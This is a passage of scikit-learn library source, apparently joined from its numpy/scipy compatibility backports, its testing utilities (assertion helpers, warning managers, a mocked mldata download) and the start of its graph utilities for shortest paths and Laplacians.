            indices[i:] = [indices[i] + 1] * (r - i)
            yield tuple(pool[i] for i in indices)


try:
    from numpy import isclose
except ImportError:
    def isclose(a, b, rtol=1.e-5, atol=1.e-8, equal_nan=False):
        """
        Returns a boolean array where two arrays are element-wise equal within
        a tolerance.

        This function was added to numpy v1.7.0, and the version you are
        running has been backported from numpy v1.8.1. See its documentation
        for more details.
        """
        def within_tol(x, y, atol, rtol):
            with np.errstate(invalid='ignore'):
                result = np.less_equal(abs(x - y), atol + rtol * abs(y))
            if np.isscalar(a) and np.isscalar(b):
                result = bool(result)
            return result

        x = np.array(a, copy=False, subok=True, ndmin=1)
        y = np.array(b, copy=False, subok=True, ndmin=1)
        xfin = np.isfinite(x)
        yfin = np.isfinite(y)
        if all(xfin) and all(yfin):
            return within_tol(x, y, atol, rtol)
        else:
            finite = xfin & yfin
            cond = np.zeros_like(finite, subok=True)
            # Since we're using boolean indexing, x & y must be the same shape.
            # Ideally, we'd just do x, y = broadcast_arrays(x, y). It's in
            # lib.stride_tricks, though, so we can't import it here.
            x = x * np.ones_like(cond)
            y = y * np.ones_like(cond)
            # Avoid subtraction with infinite/nan values...
            cond[finite] = within_tol(x[finite], y[finite], atol, rtol)
            # Check for equality of infinite values...
            cond[~finite] = (x[~finite] == y[~finite])
            if equal_nan:
                # Make NaN == NaN
                cond[np.isnan(x) & np.isnan(y)] = True
            return cond


if np_version < (1, 7):
    # Prior to 1.7.0, np.frombuffer wouldn't work for empty first arg.
    def frombuffer_empty(buf, dtype):
        if len(buf) == 0:
            return np.empty(0, dtype=dtype)
        else:
            return np.frombuffer(buf, dtype=dtype)
else:
    frombuffer_empty = np.frombuffer


if np_version < (1, 8):
    def in1d(ar1, ar2, assume_unique=False, invert=False):
        # Backport of numpy function in1d 1.8.1 to support numpy 1.6.2
        # Ravel both arrays, behavior for the first array could be different
        ar1 = np.asarray(ar1).ravel()
        ar2 = np.asarray(ar2).ravel()

        # This code is significantly faster when the condition is satisfied.
        if len(ar2) < 10 * len(ar1) ** 0.145:
            if invert:
                mask = np.ones(len(ar1), dtype=np.bool)
                for a in ar2:
                    mask &= (ar1 != a)
            else:
                mask = np.zeros(len(ar1), dtype=np.bool)
                for a in ar2:
                    mask |= (ar1 == a)
            return mask

        # Otherwise use sorting
        if not assume_unique:
            ar1, rev_idx = np.unique(ar1, return_inverse=True)
            ar2 = np.unique(ar2)

        ar = np.concatenate((ar1, ar2))
        # We need this to be a stable sort, so always use 'mergesort'
        # here. The values from the first array should always come before
        # the values from the second array.
        order = ar.argsort(kind='mergesort')
        sar = ar[order]
        if invert:
            bool_ar = (sar[1:] != sar[:-1])
        else:
            bool_ar = (sar[1:] == sar[:-1])
        flag = np.concatenate((bool_ar, [invert]))
        indx = order.argsort(kind='mergesort')[:len(ar1)]

        if assume_unique:
            return flag[indx]
        else:
            return flag[indx][rev_idx]
else:
    from numpy import in1d


if sp_version < (0, 15):
    # Backport fix for scikit-learn/scikit-learn#2986 / scipy/scipy#4142
    from ._scipy_sparse_lsqr_backport import lsqr as sparse_lsqr
else:
    from scipy.sparse.linalg import lsqr as sparse_lsqr


if sys.version_info < (2, 7, 0):
    # partial cannot be pickled in Python 2.6
    # http://bugs.python.org/issue1398
    class partial(object):
        def __init__(self, func, *args, **keywords):
            functools.update_wrapper(self, func)
            self.func = func
            self.args = args
            self.keywords = keywords

        def __call__(self, *args, **keywords):
            args = self.args + args
            kwargs = self.keywords.copy()
            kwargs.update(keywords)
            return self.func(*args, **kwargs)
else:
    from functools import partial


def parallel_helper(obj, methodname, *args, **kwargs):
    """Helper to workaround Python 2 limitations of pickling instance methods"""
    return getattr(obj, methodname)(*args, **kwargs)


if np_version < (1, 6, 2):
    # Allow bincount to accept empty arrays
    # https://github.com/numpy/numpy/commit/40f0844846a9d7665616b142407a3d74cb65a040
    def bincount(x, weights=None, minlength=None):
        if len(x) > 0:
            return np.bincount(x, weights, minlength)
        else:
            if minlength is None:
                minlength = 0
            minlength = np.asscalar(np.asarray(minlength, dtype=np.intp))
            return np.zeros(minlength, dtype=np.intp)

else:
    from numpy import bincount


if 'exist_ok' in signature(os.makedirs).parameters:
    makedirs = os.makedirs
else:
    def makedirs(name, mode=0o777, exist_ok=False):
        """makedirs(name [, mode=0o777][, exist_ok=False])

        Super-mkdir; create a leaf directory and all intermediate ones.  Works
        like mkdir, except that any intermediate path segment (not just the
        rightmost) will be created if it does not exist. If the target
        directory already exists, raise an OSError if exist_ok is False.
        Otherwise no exception is raised.  This is recursive.

        """

        try:
            os.makedirs(name, mode=mode)
        except OSError as e:
            if (not exist_ok or e.errno != errno.EEXIST
                    or not os.path.isdir(name)):
                raise


if np_version < (1, 8, 1):
    def array_equal(a1, a2):
        # copy-paste from numpy 1.8.1
        try:
            a1, a2 = np.asarray(a1), np.asarray(a2)
        except:
            return False
        if a1.shape != a2.shape:
            return False
        return bool(np.asarray(a1 == a2).all())
else:
    from numpy import array_equal

if sp_version < (0, 13, 0):
    def rankdata(a, method='average'):
        if method not in ('average', 'min', 'max', 'dense', 'ordinal'):
            raise ValueError('unknown method "{0}"'.format(method))

        arr = np.ravel(np.asarray(a))
        algo = 'mergesort' if method == 'ordinal' else 'quicksort'
        sorter = np.argsort(arr, kind=algo)

        inv = np.empty(sorter.size, dtype=np.intp)
        inv[sorter] = np.arange(sorter.size, dtype=np.intp)

        if method == 'ordinal':
            return inv + 1

        arr = arr[sorter]
        obs = np.r_[True, arr[1:] != arr[:-1]]
        dense = obs.cumsum()[inv]

        if method == 'dense':
            return dense

        # cumulative counts of each unique value
        count = np.r_[np.nonzero(obs)[0], len(obs)]

        if method == 'max':
            return count[dense]

        if method == 'min':
            return count[dense - 1] + 1

        # average method
        return .5 * (count[dense] + count[dense - 1] + 1)
else:
    from scipy.stats import rankdata






"""Testing utilities."""

# Copyright (c) 2011, 2012
# Authors: Pietro Berkes,
#          Andreas Muller
#          Mathieu Blondel
#          Olivier Grisel
#          Arnaud Joly
#          Denis Engemann
#          Giorgio Patrini
#          Thierry Guillemot
# License: BSD 3 clause
import os
import inspect
import pkgutil
import warnings
import sys
import re
import platform
import struct

import scipy as sp
import scipy.io
from functools import wraps
from operator import itemgetter
try:
    # Python 2
    from urllib2 import urlopen
    from urllib2 import HTTPError
except ImportError:
    # Python 3+
    from urllib.request import urlopen
    from urllib.error import HTTPError

import tempfile
import shutil
import os.path as op
import atexit

# WindowsError only exist on Windows
try:
    WindowsError
except NameError:
    WindowsError = None

import sklearn
from sklearn.base import BaseEstimator
from sklearn.externals import joblib

# Conveniently import all assertions in one place.
from nose.tools import assert_equal
from nose.tools import assert_not_equal
from nose.tools import assert_true
from nose.tools import assert_false
from nose.tools import assert_raises
from nose.tools import raises
from nose import SkipTest
from nose import with_setup

from numpy.testing import assert_almost_equal
from numpy.testing import assert_array_equal
from numpy.testing import assert_array_almost_equal
from numpy.testing import assert_array_less
from numpy.testing import assert_approx_equal
import numpy as np

from sklearn.base import (ClassifierMixin, RegressorMixin, TransformerMixin,
                          ClusterMixin)
from sklearn.cluster import DBSCAN

__all__ = ["assert_equal", "assert_not_equal", "assert_raises",
           "assert_raises_regexp", "raises", "with_setup", "assert_true",
           "assert_false", "assert_almost_equal", "assert_array_equal",
           "assert_array_almost_equal", "assert_array_less",
           "assert_less", "assert_less_equal",
           "assert_greater", "assert_greater_equal",
           "assert_approx_equal"]


try:
    from nose.tools import assert_in, assert_not_in
except ImportError:
    # Nose < 1.0.0

    def assert_in(x, container):
        assert_true(x in container, msg="%r in %r" % (x, container))

    def assert_not_in(x, container):
        assert_false(x in container, msg="%r in %r" % (x, container))

try:
    from nose.tools import assert_raises_regex
except ImportError:
    # for Python 2
    def assert_raises_regex(expected_exception, expected_regexp,
                            callable_obj=None, *args, **kwargs):
        """Helper function to check for message patterns in exceptions."""
        not_raised = False
        try:
            callable_obj(*args, **kwargs)
            not_raised = True
        except expected_exception as e:
            error_message = str(e)
            if not re.compile(expected_regexp).search(error_message):
                raise AssertionError("Error message should match pattern "
                                     "%r. %r does not." %
                                     (expected_regexp, error_message))
        if not_raised:
            raise AssertionError("%s not raised by %s" %
                                 (expected_exception.__name__,
                                  callable_obj.__name__))

# assert_raises_regexp is deprecated in Python 3.4 in favor of
# assert_raises_regex but lets keep the backward compat in scikit-learn with
# the old name for now
assert_raises_regexp = assert_raises_regex


def _assert_less(a, b, msg=None):
    message = "%r is not lower than %r" % (a, b)
    if msg is not None:
        message += ": " + msg
    assert a < b, message


def _assert_greater(a, b, msg=None):
    message = "%r is not greater than %r" % (a, b)
    if msg is not None:
        message += ": " + msg
    assert a > b, message


def assert_less_equal(a, b, msg=None):
    message = "%r is not lower than or equal to %r" % (a, b)
    if msg is not None:
        message += ": " + msg
    assert a <= b, message


def assert_greater_equal(a, b, msg=None):
    message = "%r is not greater than or equal to %r" % (a, b)
    if msg is not None:
        message += ": " + msg
    assert a >= b, message


def assert_warns(warning_class, func, *args, **kw):
    """Test that a certain warning occurs.

    Parameters
    ----------
    warning_class : the warning class
        The class to test for, e.g. UserWarning.

    func : callable
        Calable object to trigger warnings.

    *args : the positional arguments to `func`.

    **kw : the keyword arguments to `func`

    Returns
    -------

    result : the return value of `func`

    """
    # very important to avoid uncontrolled state propagation
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as w:
        # Cause all warnings to always be triggered.
        warnings.simplefilter("always")
        # Trigger a warning.
        result = func(*args, **kw)
        if hasattr(np, 'VisibleDeprecationWarning'):
            # Filter out numpy-specific warnings in numpy >= 1.9
            w = [e for e in w
                 if e.category is not np.VisibleDeprecationWarning]

        # Verify some things
        if not len(w) > 0:
            raise AssertionError("No warning raised when calling %s"
                                 % func.__name__)

        found = any(warning.category is warning_class for warning in w)
        if not found:
            raise AssertionError("%s did not give warning: %s( is %s)"
                                 % (func.__name__, warning_class, w))
    return result


def assert_warns_message(warning_class, message, func, *args, **kw):
    # very important to avoid uncontrolled state propagation
    """Test that a certain warning occurs and with a certain message.

    Parameters
    ----------
    warning_class : the warning class
        The class to test for, e.g. UserWarning.

    message : str | callable
        The entire message or a substring to  test for. If callable,
        it takes a string as argument and will trigger an assertion error
        if it returns `False`.

    func : callable
        Calable object to trigger warnings.

    *args : the positional arguments to `func`.

    **kw : the keyword arguments to `func`.

    Returns
    -------

    result : the return value of `func`

    """
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as w:
        # Cause all warnings to always be triggered.
        warnings.simplefilter("always")
        if hasattr(np, 'VisibleDeprecationWarning'):
            # Let's not catch the numpy internal DeprecationWarnings
            warnings.simplefilter('ignore', np.VisibleDeprecationWarning)
        # Trigger a warning.
        result = func(*args, **kw)
        # Verify some things
        if not len(w) > 0:
            raise AssertionError("No warning raised when calling %s"
                                 % func.__name__)

        found = [issubclass(warning.category, warning_class) for warning in w]
        if not any(found):
            raise AssertionError("No warning raised for %s with class "
                                 "%s"
                                 % (func.__name__, warning_class))

        message_found = False
        # Checks the message of all warnings belong to warning_class
        for index in [i for i, x in enumerate(found) if x]:
            # substring will match, the entire message with typo won't
            msg = w[index].message  # For Python 3 compatibility
            msg = str(msg.args[0] if hasattr(msg, 'args') else msg)
            if callable(message):  # add support for certain tests
                check_in_message = message
            else:
                check_in_message = lambda msg: message in msg

            if check_in_message(msg):
                message_found = True
                break

        if not message_found:
            raise AssertionError("Did not receive the message you expected "
                                 "('%s') for <%s>, got: '%s'"
                                 % (message, func.__name__, msg))

    return result


# To remove when we support numpy 1.7
def assert_no_warnings(func, *args, **kw):
    # XXX: once we may depend on python >= 2.6, this can be replaced by the

    # warnings module context manager.
    # very important to avoid uncontrolled state propagation
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter('always')

        result = func(*args, **kw)
        if hasattr(np, 'VisibleDeprecationWarning'):
            # Filter out numpy-specific warnings in numpy >= 1.9
            w = [e for e in w
                 if e.category is not np.VisibleDeprecationWarning]

        if len(w) > 0:
            raise AssertionError("Got warnings when calling %s: [%s]"
                                 % (func.__name__,
                                    ', '.join(str(warning) for warning in w)))
    return result


def ignore_warnings(obj=None, category=Warning):
    """Context manager and decorator to ignore warnings.

    Note. Using this (in both variants) will clear all warnings
    from all python modules loaded. In case you need to test
    cross-module-warning-logging this is not your tool of choice.

    Parameters
    ----------
    category : warning class, defaults to Warning.
        The category to filter. If Warning, all categories will be muted.

    Examples
    --------
    >>> with ignore_warnings():
    ...     warnings.warn('buhuhuhu')

    >>> def nasty_warn():
    ...    warnings.warn('buhuhuhu')
    ...    print(42)

    >>> ignore_warnings(nasty_warn)()
    42
    """
    if callable(obj):
        return _IgnoreWarnings(category=category)(obj)
    else:
        return _IgnoreWarnings(category=category)


class _IgnoreWarnings(object):
    """Improved and simplified Python warnings context manager and decorator.

    This class allows to ignore the warnings raise by a function.
    Copied from Python 2.7.5 and modified as required.

    Parameters
    ----------
    category : tuple of warning class, defaut to Warning
        The category to filter. By default, all the categories will be muted.

    """

    def __init__(self, category):
        self._record = True
        self._module = sys.modules['warnings']
        self._entered = False
        self.log = []
        self.category = category

    def __call__(self, fn):
        """Decorator to catch and hide warnings without visual nesting."""
        @wraps(fn)
        def wrapper(*args, **kwargs):
            # very important to avoid uncontrolled state propagation
            clean_warning_registry()
            with warnings.catch_warnings():
                warnings.simplefilter("ignore", self.category)
                return fn(*args, **kwargs)

        return wrapper

    def __repr__(self):
        args = []
        if self._record:
            args.append("record=True")
        if self._module is not sys.modules['warnings']:
            args.append("module=%r" % self._module)
        name = type(self).__name__
        return "%s(%s)" % (name, ", ".join(args))

    def __enter__(self):
        clean_warning_registry()  # be safe and not propagate state + chaos
        warnings.simplefilter("ignore", self.category)
        if self._entered:
            raise RuntimeError("Cannot enter %r twice" % self)
        self._entered = True
        self._filters = self._module.filters
        self._module.filters = self._filters[:]
        self._showwarning = self._module.showwarning

    def __exit__(self, *exc_info):
        if not self._entered:
            raise RuntimeError("Cannot exit %r without entering first" % self)
        self._module.filters = self._filters
        self._module.showwarning = self._showwarning
        self.log[:] = []
        clean_warning_registry()  # be safe and not propagate state + chaos


try:
    from nose.tools import assert_less
except ImportError:
    assert_less = _assert_less

try:
    from nose.tools import assert_greater
except ImportError:
    assert_greater = _assert_greater


def _assert_allclose(actual, desired, rtol=1e-7, atol=0,
                     err_msg='', verbose=True):
    actual, desired = np.asanyarray(actual), np.asanyarray(desired)
    if np.allclose(actual, desired, rtol=rtol, atol=atol):
        return
    msg = ('Array not equal to tolerance rtol=%g, atol=%g: '
           'actual %s, desired %s') % (rtol, atol, actual, desired)
    raise AssertionError(msg)


if hasattr(np.testing, 'assert_allclose'):
    assert_allclose = np.testing.assert_allclose
else:
    assert_allclose = _assert_allclose


def assert_raise_message(exceptions, message, function, *args, **kwargs):
    """Helper function to test error messages in exceptions.

    Parameters
    ----------
    exceptions : exception or tuple of exception
        Name of the estimator

    function : callable
        Calable object to raise error

    *args : the positional arguments to `function`.

    **kw : the keyword arguments to `function`
    """
    try:
        function(*args, **kwargs)
    except exceptions as e:
        error_message = str(e)
        if message not in error_message:
            raise AssertionError("Error message does not include the expected"
                                 " string: %r. Observed error message: %r" %
                                 (message, error_message))
    else:
        # concatenate exception names
        if isinstance(exceptions, tuple):
            names = " or ".join(e.__name__ for e in exceptions)
        else:
            names = exceptions.__name__

        raise AssertionError("%s not raised by %s" %
                             (names, function.__name__))


def fake_mldata(columns_dict, dataname, matfile, ordering=None):
    """Create a fake mldata data set.

    Parameters
    ----------
    columns_dict : dict, keys=str, values=ndarray
        Contains data as columns_dict[column_name] = array of data.

    dataname : string
        Name of data set.

    matfile : string or file object
        The file name string or the file-like object of the output file.

    ordering : list, default None
        List of column_names, determines the ordering in the data set.

    Notes
    -----
    This function transposes all arrays, while fetch_mldata only transposes
    'data', keep that into account in the tests.
    """
    datasets = dict(columns_dict)

    # transpose all variables
    for name in datasets:
        datasets[name] = datasets[name].T

    if ordering is None:
        ordering = sorted(list(datasets.keys()))
    # NOTE: setting up this array is tricky, because of the way Matlab
    # re-packages 1D arrays
    datasets['mldata_descr_ordering'] = sp.empty((1, len(ordering)),
                                                 dtype='object')
    for i, name in enumerate(ordering):
        datasets['mldata_descr_ordering'][0, i] = name

    scipy.io.savemat(matfile, datasets, oned_as='column')


class mock_mldata_urlopen(object):

    def __init__(self, mock_datasets):
        """Object that mocks the urlopen function to fake requests to mldata.

        `mock_datasets` is a dictionary of {dataset_name: data_dict}, or
        {dataset_name: (data_dict, ordering).
        `data_dict` itself is a dictionary of {column_name: data_array},
        and `ordering` is a list of column_names to determine the ordering
        in the data set (see `fake_mldata` for details).

        When requesting a dataset with a name that is in mock_datasets,
        this object creates a fake dataset in a StringIO object and
        returns it. Otherwise, it raises an HTTPError.
        """
        self.mock_datasets = mock_datasets

    def __call__(self, urlname):
        dataset_name = urlname.split('/')[-1]
        if dataset_name in self.mock_datasets:
            resource_name = '_' + dataset_name
            from io import BytesIO
            matfile = BytesIO()

            dataset = self.mock_datasets[dataset_name]
            ordering = None
            if isinstance(dataset, tuple):
                dataset, ordering = dataset
            fake_mldata(dataset, resource_name, matfile, ordering)

            matfile.seek(0)
            return matfile
        else:
            raise HTTPError(urlname, 404, dataset_name + " is not available",
                            [], None)


def install_mldata_mock(mock_datasets):
    # Lazy import to avoid mutually recursive imports
    from sklearn import datasets
    datasets.mldata.urlopen = mock_mldata_urlopen(mock_datasets)


def uninstall_mldata_mock():
    # Lazy import to avoid mutually recursive imports
    from sklearn import datasets
    datasets.mldata.urlopen = urlopen


# Meta estimators need another estimator to be instantiated.
META_ESTIMATORS = ["OneVsOneClassifier", "MultiOutputEstimator",
                   "MultiOutputRegressor", "MultiOutputClassifier",
                   "OutputCodeClassifier", "OneVsRestClassifier",
                   "RFE", "RFECV", "BaseEnsemble"]
# estimators that there is no way to default-construct sensibly
OTHER = ["Pipeline", "FeatureUnion", "GridSearchCV", "RandomizedSearchCV",
         "SelectFromModel"]

# some trange ones
DONT_TEST = ['SparseCoder', 'EllipticEnvelope', 'DictVectorizer',
             'LabelBinarizer', 'LabelEncoder',
             'MultiLabelBinarizer', 'TfidfTransformer',
             'TfidfVectorizer', 'IsotonicRegression',
             'OneHotEncoder', 'RandomTreesEmbedding',
             'FeatureHasher', 'DummyClassifier', 'DummyRegressor',
             'TruncatedSVD', 'PolynomialFeatures',
             'GaussianRandomProjectionHash', 'HashingVectorizer',
             'CheckingClassifier', 'PatchExtractor', 'CountVectorizer',
             # GradientBoosting base estimators, maybe should
             # exclude them in another way
             'ZeroEstimator', 'ScaledLogOddsEstimator',
             'QuantileEstimator', 'MeanEstimator',
             'LogOddsEstimator', 'PriorProbabilityEstimator',
             '_SigmoidCalibration', 'VotingClassifier']


def all_estimators(include_meta_estimators=False,
                   include_other=False, type_filter=None,
                   include_dont_test=False):
    """Get a list of all estimators from sklearn.

    This function crawls the module and gets all classes that inherit
    from BaseEstimator. Classes that are defined in test-modules are not
    included.
    By default meta_estimators such as GridSearchCV are also not included.

    Parameters
    ----------
    include_meta_estimators : boolean, default=False
        Whether to include meta-estimators that can be constructed using
        an estimator as their first argument. These are currently
        BaseEnsemble, OneVsOneClassifier, OutputCodeClassifier,
        OneVsRestClassifier, RFE, RFECV.

    include_other : boolean, default=False
        Wether to include meta-estimators that are somehow special and can
        not be default-constructed sensibly. These are currently
        Pipeline, FeatureUnion and GridSearchCV

    include_dont_test : boolean, default=False
        Whether to include "special" label estimator or test processors.

    type_filter : string, list of string,  or None, default=None
        Which kind of estimators should be returned. If None, no filter is
        applied and all estimators are returned.  Possible values are
        'classifier', 'regressor', 'cluster' and 'transformer' to get
        estimators only of these specific types, or a list of these to
        get the estimators that fit at least one of the types.

    Returns
    -------
    estimators : list of tuples
        List of (name, class), where ``name`` is the class name as string
        and ``class`` is the actuall type of the class.
    """
    def is_abstract(c):
        if not(hasattr(c, '__abstractmethods__')):
            return False
        if not len(c.__abstractmethods__):
            return False
        return True

    all_classes = []
    # get parent folder
    path = sklearn.__path__
    for importer, modname, ispkg in pkgutil.walk_packages(
            path=path, prefix='sklearn.', onerror=lambda x: None):
        if (".tests." in modname):
            continue
        module = __import__(modname, fromlist="dummy")
        classes = inspect.getmembers(module, inspect.isclass)
        all_classes.extend(classes)

    all_classes = set(all_classes)

    estimators = [c for c in all_classes
                  if (issubclass(c[1], BaseEstimator) and
                      c[0] != 'BaseEstimator')]
    # get rid of abstract base classes
    estimators = [c for c in estimators if not is_abstract(c[1])]

    if not include_dont_test:
        estimators = [c for c in estimators if not c[0] in DONT_TEST]

    if not include_other:
        estimators = [c for c in estimators if not c[0] in OTHER]
    # possibly get rid of meta estimators
    if not include_meta_estimators:
        estimators = [c for c in estimators if not c[0] in META_ESTIMATORS]
    if type_filter is not None:
        if not isinstance(type_filter, list):
            type_filter = [type_filter]
        else:
            type_filter = list(type_filter)  # copy
        filtered_estimators = []
        filters = {'classifier': ClassifierMixin,
                   'regressor': RegressorMixin,
                   'transformer': TransformerMixin,
                   'cluster': ClusterMixin}
        for name, mixin in filters.items():
            if name in type_filter:
                type_filter.remove(name)
                filtered_estimators.extend([est for est in estimators
                                            if issubclass(est[1], mixin)])
        estimators = filtered_estimators
        if type_filter:
            raise ValueError("Parameter type_filter must be 'classifier', "
                             "'regressor', 'transformer', 'cluster' or "
                             "None, got"
                             " %s." % repr(type_filter))

    # drop duplicates, sort for reproducibility
    # itemgetter is used to ensure the sort does not extend to the 2nd item of
    # the tuple
    return sorted(set(estimators), key=itemgetter(0))


def set_random_state(estimator, random_state=0):
    """Set random state of an estimator if it has the `random_state` param.

    Classes for whom random_state is deprecated are ignored. Currently DBSCAN
    is one such class.
    """
    if isinstance(estimator, DBSCAN):
        return

    if "random_state" in estimator.get_params():
        estimator.set_params(random_state=random_state)


def if_matplotlib(func):
    """Test decorator that skips test if matplotlib not installed."""
    @wraps(func)
    def run_test(*args, **kwargs):
        try:
            import matplotlib
            matplotlib.use('Agg', warn=False)
            # this fails if no $DISPLAY specified
            import matplotlib.pyplot as plt
            plt.figure()
        except ImportError:
            raise SkipTest('Matplotlib not available.')
        else:
            return func(*args, **kwargs)
    return run_test


def skip_if_32bit(func):
    """Test decorator that skips tests on 32bit platforms."""
    @wraps(func)
    def run_test(*args, **kwargs):
        bits = 8 * struct.calcsize("P")
        if bits == 32:
            raise SkipTest('Test skipped on 32bit platforms.')
        else:
            return func(*args, **kwargs)
    return run_test


def if_not_mac_os(versions=('10.7', '10.8', '10.9'),
                  message='Multi-process bug in Mac OS X >= 10.7 '
                          '(see issue #636)'):
    """Test decorator that skips test if OS is Mac OS X and its
    major version is one of ``versions``.
    """
    warnings.warn("if_not_mac_os is deprecated in 0.17 and will be removed"
                  " in 0.19: use the safer and more generic"
                  " if_safe_multiprocessing_with_blas instead",
                  DeprecationWarning)
    mac_version, _, _ = platform.mac_ver()
    skip = '.'.join(mac_version.split('.')[:2]) in versions

    def decorator(func):
        if skip:
            @wraps(func)
            def func(*args, **kwargs):
                raise SkipTest(message)
        return func
    return decorator


def if_safe_multiprocessing_with_blas(func):
    """Decorator for tests involving both BLAS calls and multiprocessing.

    Under POSIX (e.g. Linux or OSX), using multiprocessing in conjunction with
    some implementation of BLAS (or other libraries that manage an internal
    posix thread pool) can cause a crash or a freeze of the Python process.

    In practice all known packaged distributions (from Linux distros or
    Anaconda) of BLAS under Linux seems to be safe. So we this problem seems to
    only impact OSX users.

    This wrapper makes it possible to skip tests that can possibly cause
    this crash under OS X with.

    Under Python 3.4+ it is possible to use the `forkserver` start method
    for multiprocessing to avoid this issue. However it can cause pickling
    errors on interactively defined functions. It therefore not enabled by
    default.
    """
    @wraps(func)
    def run_test(*args, **kwargs):
        if sys.platform == 'darwin':
            raise SkipTest(
                "Possible multi-process bug with some BLAS")
        return func(*args, **kwargs)
    return run_test


def clean_warning_registry():
    """Safe way to reset warnings."""
    warnings.resetwarnings()
    reg = "__warningregistry__"
    for mod_name, mod in list(sys.modules.items()):
        if 'six.moves' in mod_name:
            continue
        if hasattr(mod, reg):
            getattr(mod, reg).clear()


def check_skip_network():
    if int(os.environ.get('SKLEARN_SKIP_NETWORK_TESTS', 0)):
        raise SkipTest("Text tutorial requires large dataset download")


def check_skip_travis():
    """Skip test if being run on Travis."""
    if os.environ.get('TRAVIS') == "true":
        raise SkipTest("This test needs to be skipped on Travis")


def _delete_folder(folder_path, warn=False):
    """Utility function to cleanup a temporary folder if still existing.

    Copy from joblib.pool (for independence).
    """
    try:
        if os.path.exists(folder_path):
            # This can fail under windows,
            #  but will succeed when called by atexit
            shutil.rmtree(folder_path)
    except WindowsError:
        if warn:
            warnings.warn("Could not delete temporary folder %s" % folder_path)


class TempMemmap(object):
    def __init__(self, data, mmap_mode='r'):
        self.temp_folder = tempfile.mkdtemp(prefix='sklearn_testing_')
        self.mmap_mode = mmap_mode
        self.data = data

    def __enter__(self):
        fpath = op.join(self.temp_folder, 'data.pkl')
        joblib.dump(self.data, fpath)
        data_read_only = joblib.load(fpath, mmap_mode=self.mmap_mode)
        atexit.register(lambda: _delete_folder(self.temp_folder, warn=True))
        return data_read_only

    def __exit__(self, exc_type, exc_val, exc_tb):
        _delete_folder(self.temp_folder)


with_network = with_setup(check_skip_network)
with_travis = with_setup(check_skip_travis)






"""
Graph utilities and algorithms

Graphs are represented with their adjacency matrices, preferably using
sparse matrices.
"""

# Authors: Aric Hagberg <hagberg@lanl.gov>
#          Gael Varoquaux <gael.varoquaux@normalesup.org>
#          Jake Vanderplas <vanderplas@astro.washington.edu>
# License: BSD 3 clause

import numpy as np
from scipy import sparse

from .validation import check_array
from .graph_shortest_path import graph_shortest_path


###############################################################################
# Path and connected component analysis.
# Code adapted from networkx

def single_source_shortest_path_length(graph, source, cutoff=None):
    """Return the shortest path length from source to all reachable nodes.

    Returns a dictionary of shortest path lengths keyed by target.

    Parameters
    ----------
    graph: sparse matrix or 2D array (preferably LIL matrix)
        Adjacency matrix of the graph
    source : node label
       Starting node for path
    cutoff : integer, optional
        Depth to stop the search - only
        paths of length <= cutoff are returned.

    Examples
    --------
    >>> from sklearn.utils.graph import single_source_shortest_path_length
    >>> import numpy as np
    >>> graph = np.array([[ 0, 1, 0, 0],
    ...                   [ 1, 0, 1, 0],
    ...                   [ 0, 1, 0, 1],
    ...                   [ 0, 0, 1, 0]])
    >>> single_source_shortest_path_length(graph, 0)
    {0: 0, 1: 1, 2: 2, 3: 3}
    >>> single_source_shortest_path_length(np.ones((6, 6)), 2)
    {0: 1, 1: 1, 2: 0, 3: 1, 4: 1, 5: 1}
    """
    if sparse.isspmatrix(graph):
        graph = graph.tolil()
    else:
        graph = sparse.lil_matrix(graph)
    seen = {}                   # level (number of hops) when seen in BFS
    level = 0                   # the current level
    next_level = [source]       # dict of nodes to check at next level
    while next_level:
        this_level = next_level     # advance to next level
        next_level = set()          # and start a new list (fringe)
        for v in this_level:
            if v not in seen:
                seen[v] = level     # set the level of vertex v
                next_level.update(graph.rows[v])
        if cutoff is not None and cutoff <= level:
            break
        level += 1
    return seen  # return all path lengths as dictionary


if hasattr(sparse, 'connected_components'):
    connected_components = sparse.connected_components
else:
    from .sparsetools import connected_components


###############################################################################
# Graph laplacian
def graph_laplacian(csgraph, normed=False, return_diag=False):
    """ Return the Laplacian matrix of a directed graph.

    For non-symmetric graphs the out-degree is used in the computation.

    Parameters
    ----------
    csgraph : array_like or sparse matrix, 2 dimensions
        compressed-sparse graph, with shape (N, N).
    normed : bool, optional
        If True, then compute normalized Laplacian.
    return_diag : bool, optional
        If True, then return diagonal as well as laplacian.

    Returns
    -------
    lap : ndarray
        The N x N laplacian matrix of graph.
    diag : ndarray
        The length-N diagonal of the laplacian matrix.
        diag is returned only if return_diag is True.

    Notes
    -----
    The Laplacian matrix of a graph is sometimes referred to as the
    "Kirchoff matrix" or the "admittance matrix", and is useful in many
    parts of spectral graph theory.  In particular, the eigen-decomposition
    of the laplacian matrix can give insight into many properties of the graph.

    For non-symmetric directed graphs, the laplacian is computed using the
    out-degree of each node.
    """
    if csgraph.ndim != 2 or csgraph.shape[0] != csgraph.shape[1]:
        raise ValueError('csgraph must be a square matrix or array')

    if normed and (np.issubdtype(csgraph.dtype, np.int)
                   or np.issubdtype(csgraph.dtype, np.uint)):
        csgraph = check_array(csgraph, dtype=np.float64, accept_sparse=True)

    if sparse.isspmatrix(csgraph):
        return _laplacian_sparse(csgraph, normed=normed,
                                 return_diag=return_diag)
    else:
        return _laplacian_dense(csgraph, normed=normed,
                                return_diag=return_diag)


def _laplacian_sparse(graph, normed=False, return_diag=False):
    n_nodes = graph.shape[0]
    if not graph.format == 'coo':
        lap = (-graph).tocoo()
    else:
        lap = -graph.copy()
    diag_mask = (lap.row == lap.col)
    if not diag_mask.sum() == n_nodes:
        # The sparsity pattern of the matrix has holes on the diagonal,
        # we need to fix that
        diag_idx = lap.row[diag_mask]
        diagonal_holes = list(set(range(n_nodes)).difference(diag_idx))
        new_data = np.concatenate([lap.data, np.ones(len(diagonal_holes))])
        new_row = np.concatenate([lap.row, diagonal_holes])
        new_col = np.concatenate([lap.col, diagonal_holes])
        lap = sparse.coo_matrix((new_data, (new_row, new_col)),
                                shape=lap.shape)
        diag_mask = (lap.row == lap.col)

    lap.data[diag_mask] = 0
    w = -np.asarray(lap.sum(axis=1)).squeeze()
    if normed:
        w = np.sqrt(w)
        w_zeros = (w == 0)
        w[w_zeros] = 1
        lap.data /= w[lap.row]
        lap.data /= w[lap.col]
        lap.data[diag_mask] = (1 - w_zeros[lap.row[diag_mask]]).astype(
            lap.data.dtype)
    else:
        lap.data[diag_mask] = w[lap.row[diag_mask]]

    if return_diag:
        return lap, w
    return lap


def _laplacian_dense(graph, normed=False, return_diag=False):
    n_nodes = graph.shape[0]
